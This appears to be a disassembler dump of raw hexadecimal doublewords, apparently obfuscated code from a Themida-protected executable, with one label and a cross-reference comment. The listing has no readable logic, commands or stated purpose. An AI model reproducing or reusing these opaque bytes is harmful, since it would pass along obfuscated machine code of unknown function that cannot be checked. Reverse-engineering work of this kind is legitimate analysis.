		dd 140424h, 53430000h, 50F56EC3h, 3489FB8Bh, 55006A24h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 0FCB48150h, 0B924B5FFh, 0FA8B064Bh, 8594F568h, 0D98B6696h
		dd 0A240481h, 6A69996Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0C0F9C352h,	890D1A3Fh
		dd 2C858DEAh, 6A064BB9h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0D0FAC357h,	0A71E008Ch
		dd 894E49E0h, 481B2D8Dh, 69858906h, 8B064800h, 480AF9BDh
		dd 8B605006h, 535250CEh, 57310F5Eh, 61585A5Eh, 0F240489h
		dd 86h,	195FF00h
		dd 6106481Ch, 0C71BD8Bh, 85C70648h, 6482425h, 3, 6840Fh
		dd 9D2B0000h, 6480A31h,	0B92CBD83h, 0F00064Bh, 3E84h, 11E900h
		dd 0E0E90000h, 0F2EAD2BBh, 4F4F9137h, 1E27839Dh, 0E9620C9Ch
		dd 3Eh,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh
		dd 5EC35141h, 0F50E2815h, 50666E8Eh, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 0BD89C08Bh, 6481A9Dh
		dd 11E9h, 32C0600h, 51918177h, 99FC2B8h, 2A25527Ah, 0BD8330C5h
		dd 6482425h, 28850F03h,	1000004h, 48062D8Dh, 2CBD8306h
		dd 64BB9h, 415840Fh, 0FE8B0000h, 0B92CB5FFh, 6A064Bh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0BBB88AC3h, 24DBCC6Ch, 0E3595FFh, 6A0648h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0F7836DC3h
		dd 8B0A814Eh, 4BB920B5h, 0C7DE8B06h, 1000106h, 0E9B50900h
		dd 96064826h, 2840Fh, 0DFB30000h, 0DF8B5250h, 0B589965Bh
		dd 6480E39h, 2D09BD8Bh,	0B5FF0648h, 64BB92Ch, 8E9h, 0DFAE8000h
		dd 2878487Ah, 5995FFDBh, 6A06481Dh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 102CC351h
		dd 269E5314h, 0FCFCA8FAh, 0B920B58Bh, 0E7BB064Bh, 8B0BCE89h
		dd 48104985h, 0B9952906h, 89064806h, 0C486h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 0E4836CBEh, 9509C337h, 648104Dh, 2591BD0Bh, 958B0648h
		dd 6480A19h, 6FC88060h,	22859589h, 83610648h, 9D8B04C2h
		dd 6480459h, 5BFC8A50h,	6A205089h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8D6FC353h
		dd 4BCE0985h, 0C99D8B06h, 89064809h, 0B886h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 0F46FB5A1h, 0BF0FC389h, 0F006AFFh, 86h, 2CB5FF00h, 6A064BB9h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 8327C351h, 0FFFE8A71h, 4823E195h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 8166CF06h, 29E757EFh, 482545BDh, 96DC8A06h, 0E026BB57h
		dd 505F0695h, 24FE5CBFh, 9589960Fh, 6480E91h, 0B92CB5FFh
		dd 0BD8B064Bh, 648093Dh, 0E2D95FFh, 6A0648h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 803861C3h
		dd 6774E65Dh, 818589DEh, 274462CFh, 0A1BD837Fh,	6481Ch
		dd 6D840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 170424h, 56460000h, 79E638C3h, 11E9F7h, 0CCEA0000h
		dd 47CEA425h, 1A4D82F7h, 0B1E13073h, 0F4F8345h,	0C8Ch
		dd 5E800h, 8B030000h, 0F5BBD320h, 6650505Fh, 5F463ABBh
		dd 6A243489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0FFCFC355h, 4BB92CB5h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0AF6C8A19h, 271995FFh, 6A0648h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 0E3BE32C3h, 1071CDA0h
		dd 9CC12E3h, 4831118Dh,	9D8BF806h, 6481EA9h, 0B92CB5FFh
		dd 6A064Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 8E7A9DC3h, 4840Fh, 0BF660000h, 95FF7521h
		dd 6480B41h, 9E8h, 0D697CE00h, 9AAE9575h, 0BD8B20C5h, 6480A15h
		dd 0CDBD835Bh, 206480Ch, 7A840Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0F25B83C3h
		dd 0B30DAEDEh, 10E9ECh,	12C80000h, 0C3FB4873h, 2034BA42h
		dd 917644A2h, 858BAB78h, 6480FD5h, 0D79B589h, 0C60648h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 25DEAB2Eh, 0DA52C1EEh, 0B060D7E8h, 4880F39h
		dd 66000000h, 61C64EBFh, 0E6985C7h, 648h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0D51FD5C3h, 576C76A9h, 11E9h, 66BD3D00h, 0F9CA4FE6h
		dd 0F132DA3Ch, 0DA8485D9h, 0E95B4AEAh, 0FFFFF35Dh, 0E668BF66h
		dd 6AC18Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0D12B9DC3h, 880F7Ch, 8D000000h, 4832FD85h
		dd 0DEBB6606h, 5E8909Eh, 24000000h, 8279EBD8h, 0BE3BB66h
		dd 1CBF505Fh, 9049584Eh, 4812C781h, 6A69CDh, 0F8E38166h
		dd 6A006A78h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 5AB8C357h, 212D8D31h, 8B660648h
		dd 0BE858DD8h, 1064CFFh, 4809D1B5h, 5C08306h, 5810Fh, 0C3BF0000h
		dd 904E3AC9h, 86BE6660h, 0EE93Dh, 1F0F0000h, 5696BE6Fh
		dd 6B5ED7D7h, 78AC9441h, 0BB665061h, 8990961Eh,	48210DB5h
		dd 1006A06h, 481E31BDh,	8B006A06h, 482739BDh, 7D95FF06h
		dd 6A064827h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0A72DC353h, 0DBAE84C9h, 89CD51ACh
		dd 48050985h, 148D8D06h, 0E9064B9Ch, 12h, 0C4A1D45Bh, 45A3A059h
		dd 0C09650EDh, 65EC1672h, 0D1FFA62Dh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 29C35545h, 0E5EFF549h, 810FFFh
		dd 0BF000000h, 35B5F454h, 1949BD83h, 0F010648h,	8485h
		dd 599D8B00h, 6A06482Eh, 52006A02h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 850F90F1h, 6, 0DCBF6653h
		dd 0E8505F08h, 6
dword_58CCE0	dd 0F3C37A50h, 8E9A7D9h, 4D000000h, 0E9879B1h, 5FF0A8E5h
					; DATA XREF: Themida_:0053F7E4o
		dd 55006A90h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0C4242C21h, 75BD8932h, 8106482Ah, 3EEB39C7h
		dd 0E195FF56h, 29064823h, 48102585h, 0DD3E906h,	0E80000h
		dd 5D000000h, 0FFC8ED81h, 0FA8B064Ch, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 96C35343h, 59DFA3B2h, 9744858Dh
		dd 6A064Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 7E8AC3C3h, 8BDADB2Ch, 481C05BDh, 840F5006h
		dd 0Ch,	7E9h, 0FEB9C700h, 0F847F917h, 80240489h, 0FF642FE7h
		dd 35h,	459D8B00h, 0E806482Dh, 14h, 828E018Ch, 0BB987C3Eh
		dd 606541EAh, 842B5A54h, 0A9379AB0h, 269D9509h,	645F0648h
		dd 2589h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 17DA9C3h, 3E4D7E0Dh, 9D090815h
		dd 6481D99h, 0A2D85FFh,	6A0648h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 750CE5C3h, 9DB5BF83h
		dd 605794E1h, 0EE3AD981h, 0D1807705h, 6A5B61F7h, 5820FFFh
		dd 0BF000000h, 18A6A97Bh, 489B5FFh, 0EB810648h,	7DB2B8C8h
		dd 95FF6BB3h, 6480AA5h,	14CE9h,	0EDB52900h, 0BB06482Bh
		dd 2C6F6AD8h, 5E900B0h,	1C000000h, 0A9B294BFh, 9AB770E6h
		dd 0BD8B71E4h, 6481E71h, 830F613Ch, 121h, 0D98B6651h, 0FBB70F5Fh
		dd 60C8B60Fh, 258D29F9h, 61064828h, 15890F60h, 0E8000000h
		dd 0Fh,	0F8014E77h, 70F745EDh, 462994ACh, 585BED1Eh, 6D7FE381h
		dd 0BA6160A2h, 6, 66C18BF9h, 442AC381h,	958D8952h, 5F064805h
		dd 6604E8C1h, 576BDB81h, 10E8h,	702AF00h, 418EDED2h, 85CB2FA1h
		dd 2FB561EEh, 665FF81Fh, 0EF81E2F7h, 4902A298h,	8BFCC82Bh
		dd 0AD9D31D1h, 0E9064819h, 9Dh,	28F0Fh,	0FD8A0000h, 4E49858Bh
		dd 870F4400h, 3, 66BDD780h, 0C083DE8Bh,	7E907h,	2A4D0000h
		dd 8A47AB3Dh, 0B99D8BCAh, 8306480Fh, 13E800C0h,	0E000000h
		dd 96D8C9D3h, 5DADA8F8h, 0ECA2B831h, 0A67F8D51h, 8F0FBEBFh
		dd 0
		dd 0FD03B5Bh, 1183h, 0B5958900h, 0E9064815h, 39h, 1A699D8Bh
		dd 8D8B0648h, 0FFFFFFFFh, 0E183FAB3h, 22840F01h, 66000000h
		dd 832AB4BBh, 0FFFFFFA5h, 9D89FEFFh, 648196Dh, 4E499589h
		dd 95894400h, 6480CD1h,	0E9h, 0A5B58D00h, 0F064C81h, 585h
		dd 0C7816600h, 0D381CE97h, 704F48F7h, 14E9006Ah, 34000000h
		dd 1B93F877h, 0D4565545h, 0AC99F1F2h, 75BCC98Fh, 0FF06F2B3h
		dd 48306195h, 53BF6606h, 0F02B9F9h, 0BF0F0000h,	831CB7FAh
		dd 6AFCE1h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 7D32AEC3h, 0FCC3B39Ch, 1DF59D23h,	0B80648h
		dd 89000000h, 480909BDh, 0BA06h, 0DE90000h, 0
		dd 0B0D9C2FAh, 0A01E2319h, 8EF141BEh, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	0E2C35141h, 61414EB7h, 59D8Bh, 6A0648h,	3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 150533C3h, 76DC6F6Dh, 880Dh,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0A34180ACh
		dd 0E803DDF4h, 0Ah, 1B644986h, 0D7517604h, 9D8B9B68h, 6482BC9h
		dd 19958B5Fh, 6606480Ah, 73CBF381h, 23C99589h, 8D8B0648h
		dd 6480F35h, 8B50F98Bh,	3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 30D19589h, 6A0648h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 813A0FC3h, 1589B529h
		dd 8E80648h, 2000000h, 0A71BE593h, 66DB4997h, 0DFDBCB81h
		dd 0A5BD835Fh, 64819h, 45840Fh,	6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0C683C6C3h
		dd 14166A77h, 0B832D109h, 0
		dd 7B29C381h, 8D8D31E3h, 6484B64h, 18F38166h, 56E1FFE9h
		dd 14F98501h, 835F0648h, 482425BDh, 840F0006h, 498h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0ADC35343h, 48B3B783h
		dd 2425BD83h, 0F010648h, 48684h, 499D8B00h, 8306480Ch
		dd 482425BDh, 860F0306h, 43Dh, 1FB9BD0Bh, 8E90648h, 0FF000000h
		dd 124B4D8Dh, 6036CF04h, 3850Fh, 0B70F0000h, 0D98C66FEh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 35C35343h
		dd 88F17311h, 0DE8D1h, 0C0FE0000h, 0C0F9464Ah, 890D1A3Fh
		dd 898A07EAh, 482D81BDh, 0E1805B06h, 57006A04h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 4CD21D2Fh
		dd 6CA23863h, 9D0BDA87h, 64814ADh, 0CDB53160h, 8906482Dh
		dd 48303D9Dh, 8B666106h, 0FC90AFAh, 13F84h, 10E900h, 0A9300000h
		dd 0DF4D599Bh, 5B8046C3h, 21E8B419h, 8166C646h,	8B0B06D3h
		dd 48238585h, 13E806h, 77380000h, 9ED7179Ch, 0ADC9AE82h
		dd 0C29B5CB4h, 47D48170h, 28D0FADh, 0B3000000h,	85335BAEh
		dd 6482AC9h, 28B19D8Bh,	0F500648h, 882h, 2880F00h, 60000000h
		dd 24048961h, 13E9h, 0D7245D00h, 3A471BC5h, 0AB6DD989h
		dd 92720457h, 309C82F4h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0D0FC1DC3h, 5E03859Eh
		dd 24068BFh, 9E959B9h, 52000000h, 6B79A2FFh, 0BB8B4C7Ah
		dd 0BF243481h, 6A59A601h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 47EEC353h, 27388ED7h
		dd 0DE9h, 0C837B300h, 0DB36965Eh, 93804E94h, 95FFB163h
		dd 6481C01h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	49C35343h, 8166609Dh, 0E9E4EAC2h, 0Bh, 8615B4C4h
		dd 9F112919h, 61D3994Eh, 0B92C8589h, 0E381064Bh, 1ACEBF38h
		dd 98D9D8Bh, 0BEE90648h, 66000001h, 5A57CB81h, 0B924858Bh
		dd 6A064Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 83B9A2C3h, 0B78B4823h, 0C7998701h, 1800h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 0B0739AA4h, 2E049393h, 0EA18D89h, 0B58B0648h
		dd 64BB928h, 0F6DF8166h, 8890F5Bh, 52000000h, 8F0Fh, 8B5F0000h
		dd 482BF185h, 5DBF6606h, 0B0689ADh, 4829199Dh, 8BDD8A06h
		dd 48238585h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 0D810C084h, 0E9044689h, 14h, 84572B2Bh
		dd 978D792Ch, 0A0730A8Fh, 1C76193Dh, 0F288FCB5h, 8806BB50h
		dd 34895158h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 0BF6610B8h, 0B5FF1197h, 64BB924h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 3DC35141h
		dd 0A7D7BB66h, 483307BBh, 64EB6816h, 0B760506Fh, 61F88B74h
		dd 14243481h, 6A507067h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 17EDC356h, 533F79DEh
		dd 43EE6CBFh, 858D5F3Ah, 64BB92Ch, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 90C35141h, 895012A5h, 66602404h
		dd 8D89FE8Bh, 64830A9h,	0B8BE6061h, 571C7E29h, 2B7D8529h
		dd 615F0648h, 1C0195FFh, 870F0648h, 15h, 10E9h,	9D1D1000h
		dd 0AE391619h, 9832CB76h, 150920A1h, 6A61B9h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 6D5BE4C3h
		dd 61A1BB25h, 8B3779A6h, 482CF99Dh, 0BE806h, 1FB40000h
		dd 456347FAh, 2F89F8ADh, 0C75FF963h, 48242585h,	306h, 0F59D2B00h
		dd 0F064806h, 0BD83F8BFh, 64BB92Ch, 46840F00h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 99B9C356h, 0B7DE2B64h, 3AE9F3h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 3DD8F6C3h, 0C305081h, 11440011h, 10E8C101h, 2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 64C35040h, 51537D33h,	0F7718AAh, 881h
		dd 2850F00h, 60000000h,	0E1BD8B61h, 8306480Dh, 482425BDh
		dd 850F0306h, 430h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 19h, 79C35040h, 935D4744h,	0E99D892Eh, 8906481Dh
		dd 481E85B5h, 2CBD8306h, 64BB9h, 3F6840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0E07EF6C3h, 8D8589C6h, 0FF064824h, 4BB92CB5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 1585200Dh, 0E2A520EDh, 3595FFF9h, 8B06480Eh,	481EF5BDh
		dd 20B58B06h, 0B3064BB9h, 106C73Bh, 89000100h, 4808B19Dh
		dd 85858906h, 96064828h, 0E044EEBFh, 0DFB35063h, 51006A96h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 5C66030Dh, 0E812372Dh, 7, 5FE9256Bh,	0E9C21271h, 7
		dd 99D39EB6h, 5B917F6Eh, 0B92CB5FFh, 0AE9064Bh,	0C6000000h
		dd 47523CB1h, 0E72D8C4Bh, 5995FFEEh, 6606481Dh,	0B58BF98Bh
		dd 64BB920h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	0A9C35141h, 122069Ah, 4825D1BDh, 49858B06h, 0F064810h
		dd 0DB81F9BFh, 7292CD1Bh, 0C48689h, 0D7810000h,	1167A202h
		dd 518D0153h, 5F064810h, 0A19958Bh, 6A0648h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0C4B7F8C3h
		dd 40BA36A7h, 0F95D6064h, 5C1BD8Bh, 0C2830648h,	89CFB304h
		dd 6A2050h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 8DD0CCC3h, 4BCE0985h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 160A18E7h
		dd 8F3DE6F4h, 840F8D30h, 1, 0B88689F5h,	6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0CD46C352h, 1B464C47h, 66940CCEh, 0B07DF781h, 0D5BF006Ah
		dd 0FF0BCFC3h, 4BB92CB5h, 10E806h, 6F70000h, 0CD8588A5h
		dd 0D6586284h, 7016EEE0h, 0CE90F75h, 0E6000000h, 0C109A45Eh
		dd 4444285Bh, 5B235220h, 23E195FFh, 14E80648h, 0EE000000h
		dd 5D7F4ACBh, 5AC9F5DBh, 44F1570Eh, 6BD8A4FFh, 609C172Bh
		dd 8FE2CE81h, 8A0F732Fh, 0
		dd 0F505B61h, 28Ch, 89DA8B00h, 6A2434h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 660498C3h
		dd 0FF28FCBFh, 4BB92CB5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 8B2EA93Dh
		dd 2D95FFF9h, 5006480Eh, 319D8B5Fh, 83064814h, 481CA1BDh
		dd 840F0006h, 36h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 6EC35141h, 3156A150h,	4823E585h, 0F965B06h
		dd 8Fh,	0BB665000h, 6696F4BEh, 0B5FFFA8Bh, 64BB92Ch, 271995FFh
		dd 6A0648h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 9D013EC3h, 64825EDh, 0A5853360h, 89064824h
		dd 480025B5h, 0B5FF6106h, 64BB92Ch, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0F1C35747h,	7B3A095Fh, 7C9B8627h
		dd 0B4195FFh, 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 17A9EC3h, 837BEC6Ch, 480CCDBDh
		dd 840F0206h, 68h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 20C35747h, 8736EA7Eh,	0AE84EB4h, 30000000h
		dd 2F725B03h, 0DB2776D2h, 30D78037h, 399D8B5Fh,	8B06482Eh
		dd 480FD585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 0C65502A5h, 95890000h, 6482AB9h
		dd 0E6985C7h, 648h, 9D8B0000h, 6480081h, 0FFF35AE9h, 52006AFFh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 45F24038h, 0BF0FC18Bh, 0FD858DF8h, 51064832h, 9E9h
		dd 0A3B4EA00h, 1C143BF9h, 505F77D3h, 5F5B5056h,	6A240489h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8B41C352h, 89006ADEh, 482EA195h, 8D006A06h
		dd 4D0F4985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 0EE2D55Eh, 9141DE2Fh, 0C0834191h
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0F5D10209h, 2F999D8Bh, 0BF660648h, 0F501B5Bh
		dd 78Fh, 8B666000h, 61F88BCBh, 23240489h, 481BC99Dh, 6A006A06h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 8A42C356h, 0E6BC8467h, 8ABBF6F5h,	6A12A464h
		dd 0AE900h, 0F8710000h,	4533ACFDh, 0B0A4D7FDh, 0EE9h, 0B7A1F900h
		dd 20E5D647h, 0AF54332Dh, 0FF11BB35h, 48277D95h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 1D056BB2h, 0E881AFE0h, 12h, 0D1600813h, 7126F7CBh, 44D79DBBh
		dd 2EF02795h, 0C2B71258h, 148D8D5Fh, 0E8064B9Ch, 9, 0B318B6E4h
		dd 53714E27h, 0C19D8925h, 5F064824h, 0CFBBD1FFh, 83550FD9h
		dd 481949BDh, 850F0106h, 40h, 8A9BD8Bh,	26A0648h, 8950FE8Bh
		dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 228DF2C3h, 9D8BD2A0h, 648155Dh, 23E195FFh
		dd 9D8B0648h, 6480E19h,	0D02E9h, 0E800h, 815D0000h, 4D0F53EDh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 0EA94D76Dh, 9D037CE4h, 648063Dh,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 16C35747h, 0B58B60A9h
		dd 6482171h, 52F18166h,	0BD8B6151h, 6481E2Dh, 9744858Dh
		dd 2950064Bh, 480FAD9Dh, 0B7505F06h, 24048998h,	1EE18589h
		dd 0E9560648h, 0Dh, 0DDF9AD2Ch,	7801CEF6h, 1BD70ABBh, 0FF645B89h
		dd 35h,	57006A00h, 3E8h, 0C35F2000h, 247C895Fh,	24448104h
		dd 1904h, 0C3574700h, 6CC8F5F8h, 89645EE5h, 25h, 6800F00h
		dd 81000000h, 10D72EE3h, 2D85FF4Bh, 6A06480Ah, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0DEC0C357h, 8D120AACh, 7EBBC2h, 0FF6A0C0Fh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 45C35747h, 0AD858939h
		dd 8A064822h, 3DB5FFFAh, 0B06481Eh, 48154DBDh, 0A595FF06h
		dd 0E906480Ah, 13Ah, 0D1D78166h, 0D19D0973h, 0B006482Dh
		dd 918D8900h, 0E6064821h, 0AE870h, 0FA980000h, 56A242Ah
		dd 0CB67D726h, 0CD9BD8Bh, 0E45B0648h, 0AD8D8971h, 3C064818h
		dd 0FF830F61h, 33000000h, 482E85BDh, 0C8B60F06h, 0FE8B660h
		dd 0BA61CBBFh, 6, 2169BD8Bh, 9D010648h,	6482D59h, 12E9C18Bh
		dd 69000000h, 657289E5h, 0BE9DA013h, 0F5790434h, 3A97029Fh
		dd 4E8C1F9h, 23699589h,	0F7660648h, 55BD8BE2h, 2B064822h
		dd 858D89C8h, 8B06480Ch, 4830B1BDh, 89D18B06h, 4815AD95h
		dd 98E906h, 85310000h, 64824A5h, 4C858BF8h, 8B505F4Ch
		dd 480109BDh, 0FDB50106h, 8306480Ch, 9D8B07C0h,	6482919h
		dd 8B00C083h, 0FD03BDFh, 1C83h,	8E800h,	66C0000h, 0AF66549Ch
		dd 0BF0F75B7h, 53E95FFBh, 60000000h, 0DFB7CE8Bh, 0FF8D8B61h
		dd 66FFFFFFh, 8382D0BFh, 840F01E1h, 3Ah, 10E9h,	62602300h
		dd 0C065E11Ch, 2BD81EBh, 0D5602C7Dh, 0FFA58314h, 0FEFFFFFFh
		dd 13F1BD89h, 95890648h, 505F4C4Ch, 38A0Fh, 0B70F0000h
		dd 54BB66D9h, 0E964h, 0B58D0000h, 64C90A7h, 8E8h, 0D89D600h
		dd 0D303E876h, 8B6660ECh, 7E9D0h, 0DDCC0000h, 48E7A7ABh
		dd 6A5B61DFh, 2BB6600h,	6195FFDEh, 6A064830h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0C44C357h, 168720Ah,	482E29BDh, 0E1958906h, 0B9064819h
		dd 0F39h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	6BC35141h, 8C3FA23Dh, 18E7B741h, 0E183F98Bh, 56006AFCh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0C2638E50h, 0C439DC68h, 1D71BD89h, 9D8B0648h, 6480C55h
		dd 0B8FCh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 0CAA2F6C3h, 0C436C7Eh, 0BF55C17Bh
		dd 1AD43DB7h, 0DE8h, 0DAE9E600h, 16C4C85Dh, 0C07ED6FEh
		dd 0B50114CAh, 6481EF5h, 6AD22B5Bh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 7B16C357h
		dd 0E8ACA4D3h, 0AAB6BF66h, 0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0D3C35242h
		dd 9D5369F3h, 6FF92FBFh, 2DA59D31h, 0BB660648h,	880D1638h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0C96FC357h, 343A48DCh,	0F518F4A0h
		dd 0A19958Bh, 0BF0F0648h, 358D8BD9h, 6A06480Fh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0D949C356h, 0CF9004ADh, 0BF0FE702h, 0C28B50FFh, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6658188Bh, 676DD381h, 19A5BD83h
		dd 0F000648h, 0B684h, 85895000h, 6482769h, 9E85Bh, 98C10000h
		dd 92FA3006h, 8138CA8Ch, 62C824D7h, 0B85F08h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0DF33C350h, 20EAB8A9h, 0FBBF0FF8h, 32C98D31h
		dd 8D8D0648h, 6484B64h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
